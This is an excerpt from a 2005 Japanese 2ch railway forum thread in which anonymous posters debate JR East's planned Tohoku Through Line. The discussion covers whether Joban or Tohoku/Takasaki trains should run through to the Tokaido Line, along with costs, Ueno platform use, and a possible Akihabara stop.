352 :名無し野電車区:2005/04/26(火) 12:31:49 ID:cmq8QMl/
今の段階では、セオリー通り高崎東北にするのか、
TX対策で常磐にするかは、分からんよな。

JRが常磐線直通を考えているという、関係者?のレスがあったが、
虚偽なのかお漏らしなのかどうかは、判断できんからな。

2chには、関係者と思われるお漏らし情報もある
反面、関係者と装って虚偽情報をカキコするやつもいる

353 :名無し野電車区:2005/04/26(火) 12:34:34 ID:okt9oAL1
ふむ、過密危険運転の解消になるという大義名分が出来たのか、、

354 :名無し野電車区:2005/04/26(火) 17:48:50 ID:yTPIOQJ/
東北本線の普通列車って検札してる?
上野〜仙台〜山形乗りとおしても一回も来なかったけど。

355 :名無し野電車区:2005/04/26(火) 18:08:46 ID:YglJsQkT
データイムの快速がオススメ

356 :名無し野電車区:2005/04/26(火) 20:57:00 ID:4MdmCs0o
>>354
山形まで東北本線を乗りとおすとは天晴れ

357 :名無し野電車区:2005/04/26(火) 22:49:08 ID:r2a2/1Dz
>前スレでも出てたけど
>東北・高崎線中心 事業費330億円
>常磐線中心 事業費385億円
>と、実にその差55億円の違いがある。
>大幅に抑えられないのなら、東北・高崎線直通の方が安上がり。

仮に減収年120億を115億にとどめられれば、11年で元が取れ、12年目以降は利潤が出る。

358 :名無し野電車区:2005/04/26(火) 23:13:12 ID:cmq8QMl/
>>356
青春18切符とかあるからな。

>>357
それが費用対効果だろ。

359 :名無し野電車区:2005/04/26(火) 23:16:26 ID:AYwJU5GX
>>358
そういうことではない。
東北本線は山形を通っていない。

360 :名無し野電車区:2005/04/26(火) 23:25:23 ID:QSlsFtqQ
>>354
最近やってないような気がする。
前は黒磯→白河で必ず検札が来たのに。

上りも白石・小山を過ぎたあたりでよくやってたが
ここでも最近検札が来ない。

361 :名無し野電車区:2005/04/27(水) 00:00:38 ID:XV9VECuU
>>350
ネタ扱いしたいならそれなりの根拠示せば?

ま、最近ネタ扱い厨は連敗街道まっしぐらだけどな。

362 :名無し野電車区:2005/04/27(水) 00:07:43 ID:GdenoG0c
常磐線は全列車千代田線乗り入れキボンぬ。

363 :名無し野電車区:2005/04/27(水) 00:27:30 ID:+ZCpmVMo
交流車を東海道線側に乗り入れさせるコスト高は?
直流車は取手までしか入れないが朝ラッシュ時はどう捌く(入庫させる)の?
ダイヤが乱れたり遅延が発生したときの対策は?
高崎線方面から乗り入れさせないならわざわざ211にまでG車をつける必要ある?
縦貫線は上野駅のホームのうちどこを使用するのか?
 >>262の言うように宇都宮線を地平に押し込んだり上野駅を大改装したりするのか?
 尾久から出庫してくる列車と下り常磐線直通は干渉するがダイヤ作成に影響は無いの?

それと、常磐線を東海道線を乗り入れさせることで本当に支出に見合うだけの増収になるの?
ネタでもいいから答えてみやがれ!

364 :名無し野電車区:2005/04/27(水) 00:37:27 ID:5WUeWPf4
>>363
費用対効果は、JRが試算するもの。

365 :名無し野電車区:2005/04/27(水) 00:38:51 ID:E+0SZZou
>>363
今のJR東なら何をやるか分からん。
湘南新宿ラインも池袋駅の改良・G車連結など
コスト増の要因はある。

366 :名無し野電車区:2005/04/27(水) 00:43:34 ID:vKmfWkh0
>>365
G車連結は料金収入で回収できると踏んだのでは?
池袋は平面交差支障をなくさないと池袋〜新宿の増発が出来なかったから。


367 :名無し野電車区:2005/04/27(水) 03:05:15 ID:/7D4cMoK
>交流車を東海道線側に乗り入れさせるコスト高は?

そりゃあ東海道線を交流化しないといけないから大変だねえ。

368 :名無し野電車区:2005/04/27(水) 09:40:02 ID:dmKFebyK
なんか自説をネタじゃないと必死な香具師が出てるんだけど・・・


369 :名無し野電車区:2005/04/27(水) 12:26:22 ID:+95SlEkz
>ダイヤが乱れたり遅延が発生したときの対策は?

東海道線と東北高崎線との直通が基本になった場合と同様の方法で対処すれば?

370 :名無し野電車区:2005/04/27(水) 12:33:05 ID:4muFFrN6
>尾久から出庫してくる列車と下り常磐線直通は干渉するがダイヤ作成に影響は無いの?

尾久へ入庫ならともかく、出庫ということは、朝ラッシュ時以外ということになる。
朝ラッシュ時以外なら、超過密ダイヤというほどではないので、
若干の平面支障が問題になることはないだろう。
若干の平面支障まで否定していたら、非抱き込み式の車両基地なんて置けなくなる。

371 :名無し野電車区:2005/04/27(水) 12:35:34 ID:fpdzhe0z
>>370
っていうか、湘南新宿ラインを否定しないといけなくなる。蛇窪

372 :名無し野電車区:2005/04/27(水) 12:40:44 ID:Feqgdlas
>縦貫線は上野駅のホームのうちどこを使用するのか?
 
普通に考えたら高架ホームでしょうね。地平は考えにくい。

373 :名無し野電車区:2005/04/27(水) 12:42:22 ID:qpi298OP
蛇窪+西大井付近の3方向平面クロスに比べたら
上野の平面クロスなど屁でもないと思う。

374 :名無し野電車区:2005/04/27(水) 12:47:29 ID:Inhrolt2
>高崎線方面から乗り入れさせないならわざわざ211にまでG車をつける必要ある?

東海道線で余るんだから使わないともったいない。

375 :名無し野電車区:2005/04/27(水) 12:57:52 ID:2uwyO7fl
優等のみ東京発着を普通のみ東海道線直通に変更し、
7〜10番を縦貫線(常磐線)、11〜12を優等にし、
16〜17番を東北高崎線に譲り渡せばいいんじゃないか?
13〜17番でさばき切れない東北高崎線は5〜6番を使ってもいい。

376 :名無し野電車区:2005/04/27(水) 13:51:37 ID:C6RVp0xU
>常磐線を東海道線を乗り入れさせることで本当に支出に見合うだけの増収になるの?
>ネタでもいいから答えてみやがれ!

常磐線を東海道線を乗り入れさせることで本当に支出に見合うだけの増収は無理なの?
ネタでもいいから答えてみやがれ!

377 :名無し野電車区:2005/04/27(水) 13:56:05 ID:A14MrxeF
>直流車は取手までしか入れないが朝ラッシュ時はどう捌く(入庫させる)の?

我孫子は?
土浦や勝田まで行く必要もないだろうし・・・。

378 :363:2005/04/27(水) 16:52:53 ID:+ZCpmVMo
コストについては、JRが意地でも常磐線側直通にこだわれば
何とかできるんでしょうけど、運行形態とかによる支障はどうしようもないですから。

>>367
( ´,_ゝ`)

>>369
常磐線直通で問題になるのは交直流車の扱いだから、
高崎線と同様というわけには行かないのでは?

>>375
>普通のみ東海道線直通に変更
特急が東京に直通しなければTX対策にならないのでは?

>16〜17番を東北高崎線に譲り渡せばいいんじゃないか?
>13〜17番でさばき切れない東北高崎線は5〜6番を使ってもいい。
そもそも大宮方面直通なら、常磐線も高架ホームを使用でき地平ホームの縮小も
可能→土地の運用や保守コスト、税金面でも有利になるのに、それでは激しく無駄ですね。
何はともあれ短時間に多数の回答ありがとうございました(w

379 :363:2005/04/27(水) 16:53:24 ID:+ZCpmVMo
東海道線から尾久に入庫させるためには宇都宮線側の線路と高架ホームを
使用しなければいけないわけで、ただでさえ縦貫線直通の常磐線に
高架ホームを取られることになる宇都宮・高崎線はほとんどの列車が
地平ホームを使用せざるを得なくなってしまいます。

これらのことを考えれば、常磐線直通の場合は朝ラッシュ時には
東海道線から尾久に入庫させることはありえないですし、運輸政策研究機構の
報告もそれに沿ったものになっています。

ああ、早く「関係者氏」のコメントを聞いてみたいものです。

380 :名無し野電車区:2005/04/27(水) 19:38:07 ID:n56TRdZh
熱い論議中申し訳ないが、宇都宮と黒磯ってスイカ使えたっけ?

381 :名無し野電車区:2005/04/27(水) 20:23:42 ID:pjX8ayRA
>>380
公式に書いてあるだろ?よく探せ

382 :名無し野電車区:2005/04/27(水) 20:38:34 ID:kmVppPpq
>>380

まぁ、ここだけの話、宇都宮より北ではイオカードは使えない。

383 :名無し野電車区:2005/04/27(水) 22:18:42 ID:iDvXj+iQ
>>362
あなたこそ賢明な方ですね。



384 :名無し野電車区:2005/04/27(水) 23:52:55 ID:mwcFN/EU
>そもそも大宮方面直通なら、常磐線も高架ホームを使用でき地平ホームの縮小も
>可能→土地の運用や保守コスト、税金面でも有利になるのに、それでは激しく無駄ですね。

田町みたいな再開発計画でもあるのか?

>高架ホームを取られることになる宇都宮・高崎線はほとんどの列車が
>地平ホームを使用せざるを得なくなってしまいます。

何か地平で不都合でもあるのか?

385 :名無し野電車区:2005/04/27(水) 23:55:41 ID:hY/rcTr+
>>384
東海道と宇都宮・高崎線は直通運転するらしいから
地平ホームにするのは非常にまずいと思うが。

386 :名無し野電車区:2005/04/28(木) 00:05:01 ID:+ZCpmVMo
衝撃の事実!
いつぞやのニート君がJRの関係者だったとは

387 :名無し野電車区:2005/04/28(木) 07:18:11 ID:42o+qYD0
>>385
地平ホームだと16本/時しかさばけないとか、そういう理由ではないわけね。

388 :名無し野電車区:2005/04/28(木) 09:12:55 ID:tNGO4mCb
東北縦貫線とは。
http://www.geocities.co.jp/SilkRoad-Desert/7443/tsuka/jukan.html

389 :名無し野電車区:2005/04/28(木) 20:25:53 ID:YJ9tPRsR
今度、黒磯からワンマン列車っていうのに乗ってみたいんだけど、
えきから時刻表とか見てどれがワンマンかわかるもん?

390 :名無し野電車区:2005/04/28(木) 20:47:52 ID:n6QDglui
>>389
ttp://page.freett.com/putaroh/200503/tohoku1.html

えきから時刻表だと見てもわからないね

391 :名無し野電車区:2005/04/28(木) 21:26:16 ID:YJ9tPRsR
>>390
そっかぁ。残念。現地行くしかないようだね・・・。

392 :名無し野電車区:2005/04/28(木) 21:52:17 ID:n6QDglui
>>391
それは>>390のリンク先を読んだうえで言っているのか?
(携帯だから見られないとかは却下)

393 :名無し野電車区:2005/04/28(木) 22:48:37 ID:YJ9tPRsR
>>390
すいません・・・。今家のパソコンで見てリンク先があるのに
気付きました。

わざわざありがとうございました。ごめんなさい。

394 :名無し野電車区:2005/04/28(木) 23:15:35 ID:NEcM9hU6
上野は縦貫線に直通する側が5〜12番、上野止まりの側が13〜17番にする方が
いいんじゃないかな?
10〜12は上野始発専用になるけど。

何らかの輸送障害が発生した場合、直通運転を中止しないといけないけど、
東京折返しだと2面4線しかなく、北側・南側がそれぞれ2線しか使えない。
でも上野高架ホームなら4面8線が使えるから、それぞれ4線ずつ使用できる。
4線使えれば、2線の場合に比べ、ダイヤへの影響は少なくなるだろう。

395 :名無し野電車区:2005/04/29(金) 00:01:33 ID:Xrcz4+8x
東海道側着席は品川発着便増加で対応。

396 :名無し野電車区:2005/04/29(金) 10:56:37 ID:21+UYxrY
始発はあまり期待するなよ
埼京線通勤快速、東武伊勢崎線北千住駅と同じように苦しめ
でも始発じゃないと今よりも東京に近い駅で客が降りる確率が高くなるメリットもある

397 :名無し野電車区:2005/04/29(金) 23:16:43 ID:zLnCTNiK
>>394
つまり、直通運転を取りやめる時は
東海道系統も上野折り返しにするのですか?


398 :名無し野電車区:2005/04/30(土) 05:13:46 ID:YU2HrToN
>>397
東京折り返しが望ましいとは思うけど、東京はどうあがいても2面4線しかないので、
ホーム数の多い上野の方がが良いのではないかと思う。
北側へ折り返せるようにすれば、品川でもいいかもしれないけど。

399 :名無し野電車区:2005/04/30(土) 05:14:31 ID:YU2HrToN
「がが」→「が」

400 :名無し野電車区:2005/04/30(土) 09:03:00 ID:v/4zOU2T
ガガガ! ガガガ!


401 :名無し野電車区:2005/04/30(土) 09:06:42 ID:mT60EKvf
400を見ると、少年漫画板の某スレを思い出す。

402 :名無し野電車区:2005/04/30(土) 09:17:10 ID:hCMx77ep
東京を終着駅としない場合、
列車に遅れが出た場合、どの駅の停車時間に余裕を持たせるつもりでしょうか。
JR西日本の三宮、大阪、新大阪では余裕を持たせてるように見えなかった。
時期が時期だけに心配です。
JR東はJR西以上にネットワークが巨大ですから。


403 :名無し野電車区:2005/04/30(土) 18:29:44 ID:8MRzgeUA
>>402
朝→南行品川、北行大宮
夕→南行大宮、北行品川
これならどちらもラッシュ時の流動を障害しない
そのほかに東京でも多少の時間調整が行われる・・・と予想。

しかし、もともとスジが寝ている関東では
無茶な回復運転をしなくてもいつの間にやら定刻通りになっているという罠。
遅れを取り戻せそうになくなったら、全線区を巻き込んでの大遅延大会。

404 :名無し野電車区:2005/04/30(土) 18:45:01 ID:ieP6mpTn
>>403
強制的に平常ダイヤに戻すのもあるね。
段切りっていうんだっけ?

405 :名無し野電車区:2005/04/30(土) 19:16:18 ID:NGCF1fFo
>東京を終着駅としない場合、
>列車に遅れが出た場合、どの駅の停車時間に余裕を持たせるつもりでしょうか。

駅間で余裕時分がある。
それと折返し駅で余裕を持たせて、そこで遅れを吸収する方法がある。

406 :名無し野電車区:2005/04/30(土) 20:50:12 ID:+bzvCeor
>東京折り返しが望ましいとは思うけど、東京はどうあがいても2面4線しかないので、
>ホーム数の多い上野の方が良いのではないかと思う。
>北側へ折り返せるようにすれば、品川でもいいかもしれないけど。

東京折り返しを基本とし、それでさばき切れない分は品川・上野折り返しというのは?

407 :名無し野電車区:2005/04/30(土) 21:10:29 ID:Y0jp82QT
東京折り返しなんて絶対ヤメた方がいい。
ダイヤが乱れたときに完全に収拾がつかなくなる。
東京駅は始終発列車でもスルーを基本としなきゃ…

408 :名無し野電車区:2005/04/30(土) 21:15:19 ID:bUDbFv2/
>>406
東北・上越新幹線を一部上野折り返しにするのと同じだな。
でもそれってうまくいかなかったんだよな?

409 :名無し野電車区:2005/04/30(土) 21:46:09 ID:BXGXvVqu
>407
横須賀・総武(快速)の例があったりするのは気のせい?
半分品川・上野で切っちゃえば余裕で捌けると思うんだけど。

410 :名無し野電車区:2005/04/30(土) 21:55:07 ID:mT60EKvf
>>408
うまくいかなかったってどういうこと?
もしかして、話の流れ(異常時ダイヤ)を無視して、
通常の行き先設定の話をしてる?

411 :名無し野電車区:2005/04/30(土) 21:58:24 ID:mT60EKvf
>>409
総武横須賀の東京分断って、収拾ついてるとは言わないと思うけど。
もっとも、それは東京駅の配線の制約のせい(使い方がおかしいともいう)でも
あるから、>>407が危惧するほどでもないかも。

412 :名無し野電車区:2005/04/30(土) 23:10:53 ID:2vMBU7no
>>407
お前が考えなくてもJRがきちんとやるから心配しなくていい。

413 :名無し野電車区:2005/04/30(土) 23:34:31 ID:+bzvCeor
>>412
JR東ではきちんとできそうにないから皆心配してるんだよ。

414 :名無し野電車区:2005/04/30(土) 23:53:15 ID:BXGXvVqu
>413 大丈夫。障害発生時に束がきちんと対処した例なんてありませんから。

415 :名無し野電車区:2005/05/01(日) 06:50:47 ID:OnZu71zg
>>411
現在の東海道線東京駅もスルー運転と折り返し運転を両立するには
不利な配線になっているけど?

416 :名無し野電車区:2005/05/01(日) 10:08:18 ID:9juzeQKr
>>415
トンネル壁が存在してどうにもできない地下の横須賀総武と違い、
地上の東海道はこれからどうにかするのかも。根拠ないけど。

417 :名無し野電車区:2005/05/01(日) 10:47:08 ID:F/bWeQAj
今更東京に固執する必要は無いよ。
普通列車全てが直通なら大宮・上野・品川・・・みたいな感じで緊急時の折り返し駅を設定すればいい。
特急分に2面2線を確保しておく以外は普通のスルー駅(総武緩行秋葉原のような)でいいだろうね。

418 :名無し野電車区:2005/05/01(日) 12:40:39 ID:2naxmWYL
>普通列車全てが直通なら

5両+5両も東海道線に入ってくるのか?

419 :名無し野電車区:2005/05/01(日) 13:04:42 ID:dmg+msHU

   何で秋葉原停まらんの?

420 :名無し野電車区:2005/05/01(日) 13:34:57 ID:F/bWeQAj
>>418
上野か品川で折り返せばいい話だと漏れは思う。
>>419
ホームスペースの関係?

421 :名無し野電車区:2005/05/01(日) 14:08:11 ID:3CfnDtkP
秋葉原と御徒町駅の間の留置場にホームをつくる計画はあるの? 

422 :名無し野電車区:2005/05/01(日) 17:13:35 ID:9juzeQKr
>>419-420
たしか造る場合は、ん割ってレベルで事業費が跳ね上がったと思う。
駅を造るのと造らないのとで、工法や線路の地上高さなどまで変わるとか?

>>421
つーわけで、できません。

423 :名無し野電車区:2005/05/01(日) 17:48:21 ID:UVY/HLVV
>>417
特急こそ、スルーだろ。常磐系は田町、踊り子系は尾久。それぞれから東京にもってきて
運用に入る。

424 :名無し野電車区:2005/05/01(日) 18:16:23 ID:9aSvLXr4
>>423
―――――――――――――――――――――――――――――――――――――――――――――――――――
******\******\***┏━━━━━━━━━━━━━━━┓***/*************
*******\******\**┃F縦貫線北行#########┃**/**************
――――――――\******\*┃G常磐線特急&縦貫線北行###┃*/―――――――――――――――
*\*******\******\┗━━━━━━━━━━━━━━━┛/***/**********/*
**\*******\**×――――――――――――――――――――***/**********/**
***\*******ー――――――――――――――――――――――――――――――――×**/***
****\***×*******/┏━━━━━━━━━━━━━━━┓*****/******/****
*****\***\_____/*┃H東海道線特急&縦貫線南行##┃****/******/*****
******\********\*┃I縦貫線南行#########┃***/******/******
*******\********\┗━━━━━━━━━━━━━━━┛**/******/*******
********―――――――――――――――――――――――――――――――――――********
こんな構造にすればいちいち車庫まで引き上げる必要なし。

425 :名無し野電車区:2005/05/01(日) 19:17:59 ID:M9q+OV6j
>>419

秋葉原に駅を作ると建設費が70億円くらい余計にかかるんだそうです。

426 :名無し野電車区:2005/05/01(日) 19:35:15 ID:9juzeQKr
>>425
秋葉原なしの場合330億円として(あってる?)、70億追加ということは、
約2割増しか。
ホームの追加費用だけでそこまで上積みされるとは思えないなー。
やっぱり基本構造そのものに影響するんだろうか?

427 :名無し野電車区:2005/05/01(日) 19:46:34 ID:SQpAaJJr
>>426
ホーム造る→客が乗降する→駅設備の整備必要


428 :名無し野電車区:2005/05/01(日) 20:01:25 ID:9gPViY5b
>>426
>やっぱり基本構造そのものに影響するんだろうか?

間違いなく影響あり。

429 :名無し野電車区:2005/05/01(日) 20:01:26 ID:9juzeQKr
>>427
それはそうだが、1から駅を造るわけではないから、そこまでかかるのかと。
駅の基本機能は元からあるし。
まあ、根拠があって言ってるわけじゃないけどね。

430 :427:2005/05/01(日) 21:05:41 ID:SQpAaJJr
>>429
いやいや、根拠ってのは堅苦しいから。
漏れのほうも>>425の金額ならば、ってことで並べただけ。

秋葉原駅、随分変わったけど、アレにどれくらいかかってるのかな・・・


431 :名無し野電車区:2005/05/02(月) 01:19:14 ID:Rzr//N5I
秋葉原で乗り換えができるようにしてもらわないと
中央緩行利用者にとっては東北縦貫線の恩恵は
ほとんど無い罠  

432 :名無し野電車区:2005/05/02(月) 02:07:08 ID:1ad+tlt1
>>431
中央総武緩行線沿線住民が埼玉・茨城方面に行くこともないと思うが。

433 :名無し野電車区:2005/05/02(月) 02:12:30 ID:auppT5sE
秋葉原に停まってくれなきゃヤダヤダヤダ
上野ダッシュはもう嫌だ!!!

434 :名無し野電車区:2005/05/02(月) 03:36:14 ID:1Usj8P8U
>>431
もともと東京をスルーする路線なのだから、
東京の中心部の人間にメリットが薄いのは仕方ないと思うのだが。

435 :名無し野電車区:2005/05/02(月) 06:40:40 ID:Rpct4Se2
>>431
東北縦貫線は上野−東京間の特に朝ラッシュの混雑解消が主たる目的。
中央緩行線利用者?今までどおりでいいじゃん・

436 :名無し野電車区:2005/05/02(月) 08:25:49 ID:JMyzSpOA
秋葉通過のほうが乗客を総武快速に誘導できるので良い。
総武は快速より緩行のほうが混雑が激しく、今後も大幅に緩和される見込は無い。
縦貫線停車で緩行の混雑に拍車をかけることはない。

437 :名無し野電車区:2005/05/02(月) 16:51:53 ID:S5nXmGJo
常磐線の電車を秋葉原始発にしたらどうだろう。上野〜秋葉原間には3本線路が
あるので、そのうち1本を使用する。

ちなみに3本線路があるのは、列車線用に2本、貨物線用に1本が建設されたから。


438 :名無し野電車区:2005/05/02(月) 17:04:34 ID:S5nXmGJo
神田駅付近の二重高架になっているところに駅を設置したらどうか。
中央快速線との乗換えの便が改善する。
駅の位置は、神田駅と並行する位置か、神田駅の秋葉原駅よりに作り、
都営新宿線の岩本町とも連絡するようにする。

439 :名無し野電車区:2005/05/02(月) 20:25:11 ID:vRpt873n
TX対抗としては十分かもね > 秋葉原始発

440 :名無し野電車区:2005/05/02(月) 21:15:19 ID:HBEb42Qf
>>438
連休を使って神田界隈の見学をお勧めする。

441 :名無し野電車区:2005/05/02(月) 21:17:51 ID:HBEb42Qf
>>436
2行目と3行目は理解できるが、1行目は全く理解不能。

442 :名無し野電車区:2005/05/02(月) 21:22:34 ID:UcL/0tEi
秋葉通過だと、大宮方面から錦糸町方面に抜けるときに
秋葉原→総武線緩行 でなく 東京→総武線快速 と
乗り継ぐ人が増える、といいたいんだろ

443 :名無し野電車区:2005/05/02(月) 21:23:01 ID:Qh4F5Aui
総武各駅利用者なんて秋葉原通過しようが止まろうが変わらんよ。


444 :名無し野電車区:2005/05/02(月) 21:29:42 ID:h3fQnUfC
>>441の低脳振りが露呈したわけだが

445 :名無し野電車区:2005/05/02(月) 21:46:06 ID:wi3zIdF1
秋葉原ぐらい通過でいいだろ。
束としては、秋葉で中央線方面に向かう客ぐらいは、
山手・京浜東北に残ってほしいだろう。

446 :名無し野電車区:2005/05/02(月) 22:30:39 ID:Rpct4Se2
>>440
>>438は連休どころか365日休みのヒトと思われw

447 :名無し野電車区:2005/05/04(水) 12:03:45 ID:r1xKkMIm
秋葉原通過にしないと縦貫線の混雑が相当ひどくなるんじゃないか?

448 :名無し野電車区:2005/05/04(水) 12:08:03 ID:4COS9MHR
TX対策なら秋葉原停車の方が良い・・・と思ったけど、
5〜6年したら東京まで延びるんだよね?

449 :名無し野電車区:2005/05/04(水) 12:49:08 ID:2ClB1/R2
TXに対抗するなら常磐線と東海道線を相互直通させて
乗り換えなしで新橋、品川に行けるようにすれば良い。

450 :名無し野電車区:2005/05/04(水) 13:12:35 ID:plurACZu
一番簡単なTX対策は土浦までの特急料金値下げという罠

451 :名無し野電車区:2005/05/04(水) 13:36:12 ID:IzysTeMk
やっぱり東北縦貫は宇都宮・高崎だけだと思う。
常磐は今までどおり日中の特急のみ。
TX対策としては利益率の高い特急を乗入れさせれば120億の損害も取り戻せる。
ほかの快速・中電は入れる必要ない。
常磐厨さあ、妄想はそれくらいにしてJRのプレスもう一度よく読むんだな。

これだけは言える、常磐線(特急除く)は東北縦貫線に乗入れることは


絶対ありえない!!!!!!!!!!!!!!!!!

452 :名無し野電車区:2005/05/04(水) 13:45:21 ID:IzysTeMk
常磐が乗入れることは絶対無い。

453 :名無し野電車区:2005/05/04(水) 13:48:01 ID:IzysTeMk
常磐線は上野まで来ているだけでもありがたいと思え。


454 :名無し野電車区:2005/05/04(水) 13:50:32 ID:IzysTeMk
常磐線(特急除く)は東北縦貫線に乗入れることは


絶対ありえない!!!!!!!!!!!!!!!!!


455 :名無し野電車区:2005/05/04(水) 14:56:02 ID:Aaouos3J
感嘆符多用する香具師ってヴァカ丸だしだよな。

根拠は全くないといってるようなもんだ。

456 :名無し野電車区:2005/05/04(水) 15:27:15 ID:Pvp0W28q
>>455
http://hobby7.2ch.net/test/read.cgi/rail/1112449382/471


457 :名無し野電車区:2005/05/04(水) 15:31:53 ID:Aaouos3J
>>456
http://hobby7.2ch.net/test/read.cgi/rail/1112449382/473

458 :名無し野電車区:2005/05/04(水) 16:10:56 ID:Pvp0W28q
意外と世界はもんなんだな〜w

459 :名無し野電車区:2005/05/04(水) 16:24:45 ID:nVN24Qfq
常磐乗り入れは束が表明しているから乗り入れるんだろ?
漏れの予想では品川折り返しになるのではないか。

上野は9番線しか使わないから多くても毎時2本くらいか。

E531が乗り入れか

460 :名無し野電車区:2005/05/04(水) 16:35:11 ID:nVN24Qfq
常磐、高崎、宇都宮各線の上野止まりは地平ホームに収容すれば、高架ホームに余裕ができるから、
東海道線上りは上野止まりにすべき

461 :名無し野電車区:2005/05/04(水) 16:41:03 ID:31m6IGXX
>>459
毎時2本なら特急が乗り入れて終了だな

462 :名無し野電車区:2005/05/04(水) 16:47:46 ID:eTbj99Dp
ヴァカ晒し

459 :名無し野電車区 :2005/05/04(水) 16:24:45 ID:nVN24Qfq
常磐乗り入れは束が表明しているから乗り入れるんだろ?
漏れの予想では品川折り返しになるのではないか。

上野は9番線しか使わないから多くても毎時2本くらいか。

E531が乗り入れか


460 :名無し野電車区 :2005/05/04(水) 16:35:11 ID:nVN24Qfq
常磐、高崎、宇都宮各線の上野止まりは地平ホームに収容すれば、高架ホームに余裕ができるから、
東海道線上りは上野止まりにすべき



463 :名無し野電車区:2005/05/04(水) 17:42:19 ID:tGNrm7Kp
別に常磐線なんか全部上野で止めていいよ。
東京まで来ることはない。

高崎線・宇都宮線が東京、品川、はては東海道線内に来ることに
価値があるんだ!
常磐線なんかがどさくさに紛れて東海道線に入ってくんじゃねーよ!

ただし、スーパーひたち、フレッシュひたちは許す。
中電や快速はポンも入ってくんな!





・・・と心に思うのだが、上野駅常磐線ホームでは決してこの内容は
大声で叫べない・・・。

464 :名無し野電車区:2005/05/04(水) 18:19:08 ID:yMyW5FNs
>TX対策としては利益率の高い特急を乗入れさせれば120億の損害も取り戻せる。

一日に3300万円くらいの利益を出さないと年120億にならない。
上野〜土浦を指定席利用してもらうとして、一日2万3000人の利用者が必要。
もっとも、そうやって稼ぎ出した一日3300万円の大半が人件費、車両維持費などに
消えていくので、実際に一日で3300万円稼ごうとしたら、多分、一日で
数万人の利用客が必要だろう。

465 :名無し野電車区:2005/05/04(水) 18:42:36 ID:8afQwkzk
>>463
心配ご無用!いい夢見させてあげようよ。

466 :名無し野電車区:2005/05/04(水) 18:45:28 ID:nVN24Qfq
万世橋から高架線にして短絡線の設置をけんとうすげきであうr

467 :名無し野電車区:2005/05/04(水) 18:47:08 ID:9xPaxIEr
東北高崎線と東海道線との相互直通
→利用客数は特に増減なし→減収は年120億のまま

常磐線と東海道線との相互直通
→TXから乗客を奪い返せる→減収を120億円以下に抑えられる可能性

民間企業としていずれを選ぶべきか?

468 :名無し野電車区:2005/05/04(水) 18:55:50 ID:eTbj99Dp
>減収は年120億のまま

DQN客が減るのならば120億でも安いw

469 :名無し野電車区:2005/05/04(水) 19:01:19 ID:UovxNJJT
>>467
小学生でも分かることをいちいち言わんでよろしい。

470 :名無し野電車区:2005/05/04(水) 19:03:04 ID:tGNrm7Kp
極論だが、千葉人と茨城人はつくばエクスプレスに
まかせちゃえばいいんじゃない?

別にJRが熱くなって競争することないよ。
西の例の事件もあることだし。

120億程度なら、東はどうってことないでしょ。

471 :名無し野電車区:2005/05/04(水) 19:06:33 ID:V5nYBwvU
東海道線側からすれば、
東京経由の籠原行と新宿経由の籠原行ができると紛らわしいので、
東京経由は取手、土浦、勝田行などが良い。

472 :名無し野電車区:2005/05/04(水) 19:12:01 ID:K/tBh1tx
>>470
年間利益約2800億だから、120億円は決して小さくない。

473 :名無し野電車区:2005/05/04(水) 19:14:17 ID:Ij61qhIc
ニッポン放送株を買い集めて高値で売れば120億円くらい回収できるよ。

474 :名無し野電車区:2005/05/04(水) 20:30:47 ID:IDwhKpHv
東北高崎線側からしても
東京経由の小田原行と新宿経由の小田原行ができると紛らわしいので、
東京方面行は上野行でいい。

475 :名無し野電車区:2005/05/04(水) 21:27:56 ID:nVN24Qfq
つーうことは縦貫線完成後は高崎線が新宿経由、宇都宮線は東京経由に統一と言うこと?

476 :名無し野電車区:2005/05/04(水) 21:33:42 ID:YLY+jbbG
相変わらず幼稚な内容だ。

477 :名無し野電車区:2005/05/04(水) 22:57:04 ID:t6ZVR5br
>>467
>>東北高崎線と東海道線との相互直通
→利用客数は特に増減なし→減収は年120億のまま

常磐線と東海道線との相互直通
→TXから乗客を奪い返せる→減収を120億円以下に抑えられる可能性

民間企業としていずれを選ぶべきか?

当然前者を選ぶ、選んでる。TX開通後の損益をどれほど意識しているかは
分からんけど、JR東としては、田町の余剰地の開発の方がうまーいお話
であるわけで。あ、これ言っちゃうとこのスレ成り立たないってヒンシュクもん
だったんでしたっけ。





478 :名無し野電車区:2005/05/04(水) 23:05:47 ID:Aaouos3J
>>477
>当然前者を選ぶ、選んでる。

わけわからん。常磐が入ると再開発出来ないのか?

479 :名無し野電車区:2005/05/04(水) 23:16:08 ID:Un0/tBX0
>>477
藻前の意見が成り立ってないことを、
書いてる途中で気がつけ。

480 :名無し野電車区:2005/05/04(水) 23:29:28 ID:kSKXumx5
二通りの「西船橋」「津田沼」「中野」「三鷹」が来る路線は
車両の違いで識別できるようになっている。
運用を固定してゼブラ板取り付けとか・・・w

481 :名無し野電車区:2005/05/04(水) 23:33:04 ID:d9pehXES
田町の再開発を東北高崎線と東海道線との相互直通の理由に挙げる人がまだいるんだけど、
田町で再開発する土地は寝台関係の部分で、電車関係は残す予定。
田町を丸々再開発してしまうわけではない。
また、田町の夜間停泊の一部(多分、数編成)を尾久に移すみたいだけど、
これは東北高崎線との相互直通でも常磐線との相互直通でもどちらでも可能。
実際、尾久に常磐線の車両が入出庫することもあるし。

482 :名無し野電車区:2005/05/04(水) 23:41:43 ID:s83GSFXy
>>480
運用を縦貫線用と湘南新宿用で分けてしまうと、
それぞれで予備編成を一つずつ用意しないといけなくなるので、
運用数が増加してしまう。
それに、二通りの「西船橋」「津田沼」「中野」「三鷹」が来る区間は、
中央総武緩行線の西の末端と東の末端。
東海道線と東北線高崎線だと、横浜以南と赤羽以北の区間なので
かなり広範囲になる。

483 :名無し野電車区:2005/05/04(水) 23:45:11 ID:89klfKgg
>つーうことは縦貫線完成後は高崎線が新宿経由、宇都宮線は東京経由に統一と言うこと?

そうすると高崎線からの列車はみんな東京折返しになってしまう。

484 :名無し野電車区:2005/05/04(水) 23:51:37 ID:M4GvSFbA
常磐線はホリエモンに買い取ってもらえばいい。


485 :名無し野電車区:2005/05/04(水) 23:59:09 ID:tnCddNE3
埼玉県にとって最悪のシナリオ

@縦貫線は常磐線の乗入れが基本
A貨物線(三河島〜田端)を利用し、常磐線が湘南新宿ラインに乗入れ
 東北線高崎線からの湘南新宿ラインは減便
 (JRからすれば、横浜〜渋谷・新宿・池袋が一定数確保できればいいので)
B電車特定区間を、取手以南から土浦以南へ拡大
 (電車特定区間の大宮以北への拡大を求める埼玉県の要望は無視)

486 :名無し野電車区:2005/05/05(木) 00:02:45 ID:gBCTMIXL
>>484
株下がっちゃってさぁ。

487 :名無し野電車区:2005/05/05(木) 00:03:52 ID:3Ds8CmPW
>>485
特定区間の延長は、両方ともしないだろう。
